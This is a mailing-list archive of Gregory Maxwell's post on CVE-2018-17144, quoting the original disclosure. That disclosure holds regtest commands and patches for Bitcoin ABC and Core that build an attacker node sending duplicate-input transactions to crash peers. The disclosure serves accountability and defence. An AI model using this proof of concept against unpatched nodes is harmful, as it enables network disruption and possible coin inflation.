Return-Path: Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org [172.17.192.35]) by mail.linuxfoundation.org (Postfix) with ESMTPS id EECE01052 for ; Sat, 22 Sep 2018 17:54:16 +0000 (UTC) X-Greylist: whitelisted by SQLgrey-1.7.6 Received: from mail-vs1-f43.google.com (mail-vs1-f43.google.com [209.85.217.43]) by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 1E63B79F for ; Sat, 22 Sep 2018 17:54:15 +0000 (UTC) Received: by mail-vs1-f43.google.com with SMTP id w138-v6so1574858vsw.7 for ; Sat, 22 Sep 2018 10:54:15 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025; h=mime-version:in-reply-to:references:from:date:message-id:subject:to; bh=Z5xEOU2ygB/bll7h5AhYR7tiGF1Yw9Vuwg33G8Mq3wA=; b=Yrdwwzvy698M4nPRAr5h7TC03MyHQG+NbgNOBO/hTgVA8sWH2rwMhYtk/2N+sectDz splcZPz4tLUqGo95SfTQJVo1TVK2O91oaiTpq8w9PLTqLMuDptrWNCJeYMccA4lgLrJ6 2faFBMX40H1tnbRvSFOjANjIcQaSe4LCQ3Bjc2Djkfc9HdYr77ZpAzL0i1B7WSf9Xhp6 wye7V1wBBlhyZVipP4BCMkcE+X464mV8ML7Ge606XUfSmkKyYPCH5PJUchg6tIsrIH55 +jLZyykaOB9BvoU0niRbAV+ZR4t7Akx4TaU+eeokdIsETwGENSn2th2hw4jwij6U3Dm+ yn4g== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20161025; h=x-gm-message-state:mime-version:in-reply-to:references:from:date :message-id:subject:to; bh=Z5xEOU2ygB/bll7h5AhYR7tiGF1Yw9Vuwg33G8Mq3wA=; b=l6H72GXSmSVNNmO5w7cZbbMhh+Y3NFs5zSo0IBqetPo83y06DVnpE1Yf37oWPSayMX EFGYp3ysZZsGMTm7ExVcN1VDHoeVJqIgizKtLNbjQi9zrjUXdKRw0ZqommzKNVEG1sJ/ EA+MJcW+0jtCZ6Ki6uTFpfhy4MXCzL8cXnBlLb3kpTg4n3fmR02tNfROB1ZCtZ6p+pAo 8QY1qjTq8yMDy2HDieB/rgF3Y6QhBLBC+IeOW3/CA8IPfIgmaetYTC8Ag2+B2ypdBFYP wHER5timYX0v4sl7SEs87hOitKPCJCj6ojfJq0ljNA4xDF9MKYwgjjY9PLs/pFnvnvgU YJSw== X-Gm-Message-State: APzg51AdKZzqjvedbVIN5leya3S2KokB6DtKe2toA/Vf2WXnuJe0IEFy zdiBklaWPkSftjV6foW6wyuWM6xYhDFyNURu1/xQMrqW X-Google-Smtp-Source: ANB0VdZxoLyxWg0EHi+7+j0LdawKPAMCnRQRHVIXLWzNZonEN7iq0t0TAdIm1gwsCEYVTq1m3TfdAQeo4g3szjyesjI= X-Received: by 2002:a67:4119:: with SMTP id o25-v6mr730168vsa.56.1537638853790; Sat, 22 Sep 2018 10:54:13 -0700 (PDT) MIME-Version: 1.0 Received: by 2002:ab0:6487:0:0:0:0:0 with HTTP; Sat, 22 Sep 2018 10:54:12 -0700 (PDT) In-Reply-To: References: From: Bryan Bishop Date: Sat, 22 Sep 2018 12:54:12 -0500 Message-ID: To: Bitcoin Dev , Bryan Bishop Content-Type: multipart/alternative; boundary="000000000000ac524605767971c8" X-Spam-Status: No, score=-2.0 required=5.0 tests=BAYES_00,DKIM_SIGNED, DKIM_VALID,DKIM_VALID_AU,FREEMAIL_FROM,HTML_MESSAGE autolearn=ham version=3.3.1 X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on smtp1.linux-foundation.org X-Mailman-Approved-At: Sat, 22 Sep 2018 17:54:33 +0000 Subject: [bitcoin-dev] Fwd: [bitcoin-core-dev] On the initial notice of CVE-2018-17144 X-BeenThere: bitcoin-dev@lists.linuxfoundation.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: Bitcoin Protocol Discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 22 Sep 2018 17:54:17 -0000 --000000000000ac524605767971c8 Content-Type: text/plain; charset="UTF-8" ---------- Forwarded message ---------- From: Gregory Maxwell via bitcoin-core-dev < bitcoin-core-dev@lists.linuxfoundation.org> Date: Sat, Sep 22, 2018 at 12:12 PM Subject: [bitcoin-core-dev] On the initial notice of CVE-2018-17144 To: bitcoin-core-dev@lists.linuxfoundation.org For some reason I don't understand, Andrea Suisani is stating on twitter that the the report by awemany was a report of an inflation bug, contrary to the timeline we published. This is not the case: the report specifically stated that inflation was not possible because the node crashed. It also described a reproduction of the crash, but not of inflation. I generally understand how someone could be confused about what a report they hadn't seen said, but I'm confused in this case because Andrea Suisani was copied on the report to us. So I'm not sure what is up with that, perhaps the message got lost in email. If the reporter knew the bug permitted inflation, they still specifically reported otherwise to us. Since people are also expressing doubt that awemany was actually the author of the report, I'll include it here in its entity to aid people's validation of the claim(s). There is a better test for the crash issue include in master branch of the Bitcoin repository, the reporter's reproduction instructions here are only included for completeness. Cheers, Date: Mon, 17 Sep 2018 14:57:46 +0000 To: Pieter Wuille , deadalnix , Andrea Suisani , Gregory Maxwell , "Wladimir J. van der Laan" From: beardnboobies Subject: Zero day exploit in Bitcoin ABC and Bitcoin Core Dear Bitcoiners, Please find attached an encrypted description of a crashing zero day exploit for Bitcoin Core as well as Bitcoin ABC. This has not been reproduced for Bitcoin Unlimited, though for advisory reasons, I am sending it to one of their members that I could find a PGP key for as well. Please forward this to any party who might have a valid interest, including Bitcoin miners. Thank you very much. === Problem description: The following, miner-exploitable zero day has been found in Bitcoin ABC as well as in Bitcoin Core: Duplicate inputs are not checked in CheckBlock, only when they are accepted into the mempool. This creates a problem insofar as a transaction might bypass the mempool when it is included in a block, for example if it is transmitted as an extra transaction along with a compact block. A later assertion assert(is_spent) in SpendCoins (in validation.cpp) seems to prevent the worse outcome of monetary inflation by the comparatively better result of crashing the node. To reproduce (Description is for Bitcoin ABC, but applies similarly to Bitcoin Core): Create one instance of ABC bitcoind without the patch below applied (A) and create on instance of ABC with the patch applied (B). The patch removes sending of transactions and testing for double-spent inputs for the attacker node. Run both in regtest mode and point them to different data directories, like so and connect them together: A: ./bitcoind -regtest -rpcport=15000 -listen -debug -datadir=/tmp/abc.1 B: ./bitcoind -regtest -rpcport=15001 -connect=localhost -debug -datadir=/tmp/abc.2 Now on the prepared attacker node B, create a bunch of blocks and a transaction that double-spends its input, like so for example: > ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001 generate 200 > ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001 getnewaddress
> ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001 sendtoaddress
> ./bitcoin-tx -regtest -create in=: in=: outaddr=99.9:
The double entry of the input here is not a typo. This is the desired double-spend. Sign the resulting transaction hex like so: > ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001 signrawtransaction For Core, this step needs to be adapted to signrawtransactionwithkey. And send the result into the small regtest test netwrok: > ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001 sendrawtransaction Voila, your node A should have just aborted like this: bitcoind: validation.cpp:1083: void SpendCoins(CCoinsViewCache&, const CTransaction&, CTxUndo&, int): Assertion `is_spent' failed. Aborted (core dumped) If you like this work or want to pay out a bounty for finding a zero day, please do so in BCH to this address. Thank you very much in advance. bitcoincash:qr5yuq3q40u7mxwqz6xvamkfj8tg45wyus7fhqzug5 The patch for ABC: diff --git a/src/consensus/tx_verify.cpp b/src/consensus/tx_verify.cpp index ee909deb9..ff7942361 100644 --- a/src/consensus/tx_verify.cpp +++ b/src/consensus/tx_verify.cpp @@ -229,7 +229,7 @@ static bool CheckTransactionCommon(const CTransaction &tx, // Check for duplicate inputs - note that this check is slow so we skip it // in CheckBlock - if (fCheckDuplicateInputs) { + if (0) { std::set vInOutPoints; for (const auto &txin : tx.vin) { if (!vInOutPoints.insert(txin.prevout).second) { diff --git a/src/net_processing.cpp b/src/net_processing.cpp index e4ecc793c..ee1cc3cda 100644 --- a/src/net_processing.cpp +++ b/src/net_processing.cpp @@ -1269,12 +1269,6 @@ static void ProcessGetData(const Config &config, CNode *pfrom, // however we MUST always provide at least what the // remote peer needs. typedef std::pair PairType; - for (PairType &pair : merkleBlock.vMatchedTxn) { - connman->PushMessage( - pfrom, - msgMaker.Make(NetMsgType::TX, - *block.vtx[pair.first])); - } } // else // no response @@ -1321,25 +1315,6 @@ static void ProcessGetData(const Config &config, CNode *pfrom, bool push = false; auto mi = mapRelay.find(inv.hash); int nSendFlags = 0; - if (mi != mapRelay.end()) { - connman->PushMessage( - pfrom, - msgMaker.Make(nSendFlags, NetMsgType::TX, *mi->second)); - push = true; - } else if (pfrom->timeLastMempoolReq) { - auto txinfo = mempool.info(inv.hash); - // To protect privacy, do not answer getdata using the - // mempool when that TX couldn't have been INVed in reply to - // a MEMPOOL request. - if (txinfo.tx && - txinfo.nTime <= pfrom->timeLastMempoolReq) { - connman->PushMessage(pfrom, - msgMaker.Make(nSendFlags, - NetMsgType::TX, - *txinfo.tx)); - push = true; - } - } if (!push) { vNotFound.push_back(inv); } diff --git a/src/validation.cpp b/src/validation.cpp index a31546432..a9edbb956 100644 --- a/src/validation.cpp +++ b/src/validation.cpp @@ -1080,7 +1080,7 @@ void SpendCoins(CCoinsViewCache &view, const CTransaction &tx, CTxUndo &txundo, for (const CTxIn &txin : tx.vin) { txundo.vprevout.emplace_back(); bool is_spent = view.SpendCoin(txin.prevout, &txundo.vprevout.back()); - assert(is_spent); + //assert(is_spent); } } ---- The same patch for Core: diff --git a/src/consensus/tx_verify.cpp b/src/consensus/tx_verify.cpp index 0628ec1d4..a06f77f8b 100644 --- a/src/consensus/tx_verify.cpp +++ b/src/consensus/tx_verify.cpp @@ -181,7 +181,7 @@ bool CheckTransaction(const CTransaction& tx, CValidationState &state, bool fChe } // Check for duplicate inputs - note that this check is slow so we skip it in CheckBlock - if (fCheckDuplicateInputs) { + if (0) { std::set vInOutPoints; for (const auto& txin : tx.vin) { diff --git a/src/net_processing.cpp b/src/net_processing.cpp index b48a3bd22..9b7fb5839 100644 --- a/src/net_processing.cpp +++ b/src/net_processing.cpp @@ -1219,8 +1219,6 @@ void static ProcessGetBlockData(CNode* pfrom, const CChainParams& chainparams, c // Thus, the protocol spec specified allows for us to provide duplicate txn here, // however we MUST always provide at least what the remote peer needs typedef std::pair PairType; - for (PairType& pair : merkleBlock.vMatchedTxn) - connman->PushMessage(pfrom, msgMaker.Make(SERIALIZE_TRANSACTION_NO_WITNESS, NetMsgType::TX, *pblock->vtx[pair.first])); } // else // no response @@ -1284,18 +1282,6 @@ void static ProcessGetData(CNode* pfrom, const CChainParams& chainparams, CConnm bool push = false; auto mi = mapRelay.find(inv.hash); int nSendFlags = (inv.type == MSG_TX ? SERIALIZE_TRANSACTION_NO_WITNESS : 0); - if (mi != mapRelay.end()) { - connman->PushMessage(pfrom, msgMaker.Make(nSendFlags, NetMsgType::TX, *mi->second)); - push = true; - } else if (pfrom->timeLastMempoolReq) { - auto txinfo = mempool.info(inv.hash); - // To protect privacy, do not answer getdata using the mempool when - // that TX couldn't have been INVed in reply to a MEMPOOL request. - if (txinfo.tx && txinfo.nTime <= pfrom->timeLastMempoolReq) { - connman->PushMessage(pfrom, msgMaker.Make(nSendFlags, NetMsgType::TX, *txinfo.tx)); - push = true; - } - } if (!push) { vNotFound.push_back(inv); } diff --git a/src/validation.cpp b/src/validation.cpp index 947192be0..66536af24 100644 --- a/src/validation.cpp +++ b/src/validation.cpp @@ -1315,7 +1315,7 @@ void UpdateCoins(const CTransaction& tx, CCoinsViewCache& inputs, CTxUndo &txund for (const CTxIn &txin : tx.vin) { txundo.vprevout.emplace_back(); bool is_spent = inputs.SpendCoin(txin.prevout, &txundo.vprevout.back()); - assert(is_spent); + //assert(is_spent); } } // add outputs _______________________________________________ bitcoin-core-dev mailing list bitcoin-core-dev@lists.linuxfoundation.org https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-core-dev -- - Bryan http://heybryan.org/ 1 512 203 0507 --000000000000ac524605767971c8 Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable

---------- Forwarded messag= e ----------
From: Gregory Maxwell via bit= coin-core-dev <bitcoin-core-dev@lists.linuxfoundation.org&g= t;
Date: Sat, Sep 22, 2018 at 12:12 PM
Subject: [bitcoin-core-= dev] On the initial notice of CVE-2018-17144
To: bitcoin-core-dev@lists.linuxfoundati= on.org


For some reason I don't understand, Andrea Suisan= i is stating on
twitter that the the report by awemany was a report of an inflation
bug, contrary to the timeline we published.=C2=A0 =C2=A0This is not the cas= e:
the report specifically stated that inflation was not possible because
the node crashed. It also described a reproduction of the crash, but
not of inflation.

I generally understand how someone could be confused about what a
report they hadn't seen said, but I'm confused in this case because=
Andrea Suisani was copied on the report to us. So I'm not sure what is<= br> up with that, perhaps the message got lost in email.=C2=A0 If the reporter<= br> knew the bug permitted inflation, they still specifically reported
otherwise to us.

Since people are also expressing doubt that awemany was actually the
author of the report, I'll include it here in its entity to aid
people's validation of the claim(s). There is a better test for the
crash issue include in master branch of the Bitcoin repository, the
reporter's reproduction instructions here are only included for
completeness.

Cheers,


Date: Mon, 17 Sep 2018 14:57:46 +0000
To: Pieter Wuille <pieter.wui= lle@gmail.com>, deadalnix
<deadalnix@gmail.com>, And= rea Suisani <sickpig@gmail.com&= gt;, Gregory
Maxwell <gmaxwell@gmail.com>= ;, "Wladimir J. van der Laan"
<laanwj@gmail.com>
From: beardnboobies <bea= rdnboobies@protonmail.com>
Subject: Zero day exploit in Bitcoin ABC and Bitcoin Core

Dear Bitcoiners,

Please find attached an encrypted description of a crashing zero day
exploit for Bitcoin Core as well as Bitcoin ABC. This has not been
reproduced for Bitcoin Unlimited, though for advisory reasons, I am
sending it to one of their members that I could find a PGP key for as
well.

Please forward this to any party who might have a valid interest,
including Bitcoin miners.

Thank you very much.

=3D=3D=3D

Problem description:

The following, miner-exploitable zero day has been found in Bitcoin ABC as<= br> well as in Bitcoin Core:

Duplicate inputs are not checked in CheckBlock,
only when they are accepted into the mempool.

This creates a problem insofar as a transaction might bypass
the mempool when it is included in a block, for example if
it is transmitted as an extra transaction along with a compact
block.

A later assertion assert(is_spent) in SpendCoins (in validation.cpp)
seems to prevent the worse outcome of monetary inflation by
the comparatively better result of crashing the node.

To reproduce (Description is for Bitcoin ABC, but applies similarly to
Bitcoin Core):

Create one instance of ABC bitcoind without the patch below
applied (A) and create on instance of ABC with the patch applied (B).
The patch removes sending of transactions and testing for double-spent
inputs for the attacker node.

Run both in regtest mode and point them to different data directories,
like so and connect them together:
A: ./bitcoind -regtest -rpcport=3D15000 -listen -debug -datadir=3D/tmp/abc.= 1
B: ./bitcoind -regtest -rpcport=3D15001 -connect=3Dlocalhost -debug
-datadir=3D/tmp/abc.2

Now on the prepared attacker node B, create a bunch of blocks and a transac= tion
that double-spends its input, like=C2=A0 so for example:

> ./bitcoin-cli -regtest -datadir=3D/tmp/abc.2 -rpcport=3D15001 generate= 200

> ./bitcoin-cli -regtest -datadir=3D/tmp/abc.2 -rpcport=3D15001 getnewad= dress
<address>

> ./bitcoin-cli -regtest -datadir=3D/tmp/abc.2 -rpcport=3D15001 sendtoad= dress <address>
<resulting-txid>

> ./bitcoin-tx -regtest -create in=3D<resulting-txid>:<vout>= in=3D<resulting-txid>:<vout> outaddr=3D99.9:<address> <resulting-txn-hex>

The double entry of the input here is not a typo. This is the desired
double-spend.

Sign the resulting transaction hex like so:

> ./bitcoin-cli -regtest -datadir=3D/tmp/abc.2 -rpcport=3D15001 signrawt= ransaction <txid>
<signed-txn-hex>

For Core, this step needs to be adapted to signrawtransactionwithkey.
And send the result into the small regtest test netwrok:
> ./bitcoin-cli -regtest -datadir=3D/tmp/abc.2 -rpcport=3D15001 sendrawt= ransaction <signed-txn-hex>

Voila, your node A should have just aborted like this:

bitcoind: validation.cpp:1083: void SpendCoins(CCoinsViewCache&, const<= br> CTransaction&, CTxUndo&, int): Assertion `is_spent' failed.
Aborted (core dumped)

If you like this work or want to pay out a bounty for finding a zero day, please do so in BCH to this address. Thank you very much in advance.

bitcoincash:qr5yuq3q40u7mxwqz6xvamkfj8tg45wyus7fhqzug5


The patch for ABC:

diff --git a/src/consensus/tx_verify.cpp b/src/consensus/tx_verify.cpp
index ee909deb9..ff7942361 100644
--- a/src/consensus/tx_verify.cpp
+++ b/src/consensus/tx_verify.cpp
@@ -229,7 +229,7 @@ static bool CheckTransactionCommon(const CTransaction &= amp;tx,

=C2=A0 =C2=A0 =C2=A0// Check for duplicate inputs - note that this check is= slow so we skip it
=C2=A0 =C2=A0 =C2=A0// in CheckBlock
-=C2=A0 =C2=A0 if (fCheckDuplicateInputs) {
+=C2=A0 =C2=A0 if (0) {
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0std::set<COutPoint> vInOutPoints; =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0for (const auto &txin : tx.vin) {
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0if (!vInOutPoints.insert(tx= in.prevout).second) {
diff --git a/src/net_processing.cpp b/src/net_processing.cpp
index e4ecc793c..ee1cc3cda 100644
--- a/src/net_processing.cpp
+++ b/src/net_processing.cpp
@@ -1269,12 +1269,6 @@ static void ProcessGetData(const Config
&config, CNode *pfrom,
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2= =A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0// however we MUST always provide at least w= hat the
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2= =A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0// remote peer needs.
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2= =A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0typedef std::pair<unsigned int, uint256&g= t; PairType;
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2= =A0 =C2=A0 =C2=A0 =C2=A0 for (PairType &pair : merkleBlock.vMatchedTxn)= {
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2= =A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 connman->PushMessage(
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2= =A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 pfrom,
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2= =A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 msgMaker.Make(NetMsgTy= pe::TX,
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2= =A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 = =C2=A0 =C2=A0 =C2=A0 =C2=A0 *block.vtx[pair.first]));
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2= =A0 =C2=A0 =C2=A0 =C2=A0 }
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2= =A0 =C2=A0 =C2=A0}
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2= =A0 =C2=A0 =C2=A0// else
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2= =A0 =C2=A0 =C2=A0// no response
@@ -1321,25 +1315,6 @@ static void ProcessGetData(const Config
&config, CNode *pfrom,
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0bool push =3D= false;
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0auto mi =3D m= apRelay.find(inv.hash);
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0int nSendFlag= s =3D 0;
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 if (mi !=3D mapRel= ay.end()) {
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 conn= man->PushMessage(
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2= =A0 =C2=A0 pfrom,
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2= =A0 =C2=A0 msgMaker.Make(nSendFlags, NetMsgType::TX,
*mi->second));
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 push= =3D true;
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 } else if (pfrom-&= gt;timeLastMempoolReq) {
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 auto= txinfo =3D mempool.info(inv.hash);
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 // T= o protect privacy, do not answer getdata using the
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 // m= empool when that TX couldn't have been INVed
in reply to
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 // a= MEMPOOL request.
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 if (= txinfo.tx &&
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2= =A0 =C2=A0 txinfo.nTime <=3D pfrom->timeLastMempoolReq) {
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2= =A0 =C2=A0 connman->PushMessage(pfrom,
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2= =A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 = =C2=A0 =C2=A0msgMaker.Make(nSendFlags,
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2= =A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 = =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0NetMsgType::T= X,
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2= =A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 = =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0*txinfo.tx));=
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2= =A0 =C2=A0 push =3D true;
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 } -=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 }
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0if (!push) {<= br> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2= =A0vNotFound.push_back(inv);
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0}
diff --git a/src/validation.cpp b/src/validation.cpp
index a31546432..a9edbb956 100644
--- a/src/validation.cpp
+++ b/src/validation.cpp
@@ -1080,7 +1080,7 @@ void SpendCoins(CCoinsViewCache &view, const
CTransaction &tx, CTxUndo &txundo,
=C2=A0 =C2=A0 =C2=A0for (const CTxIn &txin : tx.vin) {
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0txundo.vprevout.emplace_back();
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0bool is_spent =3D view.SpendCoin(txin.pre= vout, &txundo.vprevout.back());
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 assert(is_spent);
+=C2=A0 =C2=A0 =C2=A0 =C2=A0 //assert(is_spent);
=C2=A0 =C2=A0 =C2=A0}
=C2=A0}


----
The same patch for Core:

diff --git a/src/consensus/tx_verify.cpp b/src/consensus/tx_verify.cpp
index 0628ec1d4..a06f77f8b 100644
--- a/src/consensus/tx_verify.cpp
+++ b/src/consensus/tx_verify.cpp
@@ -181,7 +181,7 @@ bool CheckTransaction(const CTransaction& tx,
CValidationState &state, bool fChe
=C2=A0 =C2=A0 =C2=A0}

=C2=A0 =C2=A0 =C2=A0// Check for duplicate inputs - note that this check is= slow so
we skip it in CheckBlock
-=C2=A0 =C2=A0 if (fCheckDuplicateInputs) {
+=C2=A0 =C2=A0 if (0) {
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0std::set<COutPoint> vInOutPoints; =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0for (const auto& txin : tx.vin)
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0{
diff --git a/src/net_processing.cpp b/src/net_processing.cpp
index b48a3bd22..9b7fb5839 100644
--- a/src/net_processing.cpp
+++ b/src/net_processing.cpp
@@ -1219,8 +1219,6 @@ void static ProcessGetBlockData(CNode* pfrom,
const CChainParams& chainparams, c
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2= =A0// Thus, the protocol spec specified allows for
us to provide duplicate txn here,
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2= =A0// however we MUST always provide at least what
the remote peer needs
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2= =A0typedef std::pair<unsigned int, uint256> PairType;
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 for = (PairType& pair : merkleBlock.vMatchedTxn)
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2= =A0 =C2=A0 connman->PushMessage(pfrom,
msgMaker.Make(SERIALIZE_TRANSACTION_NO_WITNESS, NetMsgType::TX,
*pblock->vtx[pair.first]));
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0}
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0// else
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2= =A0// no response
@@ -1284,18 +1282,6 @@ void static ProcessGetData(CNode* pfrom, const
CChainParams& chainparams, CConnm
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0bool push =3D false;
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0auto mi =3D mapRelay.find(i= nv.hash);
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0int nSendFlags =3D (inv.typ= e =3D=3D MSG_TX ?
SERIALIZE_TRANSACTION_NO_WITNESS : 0);
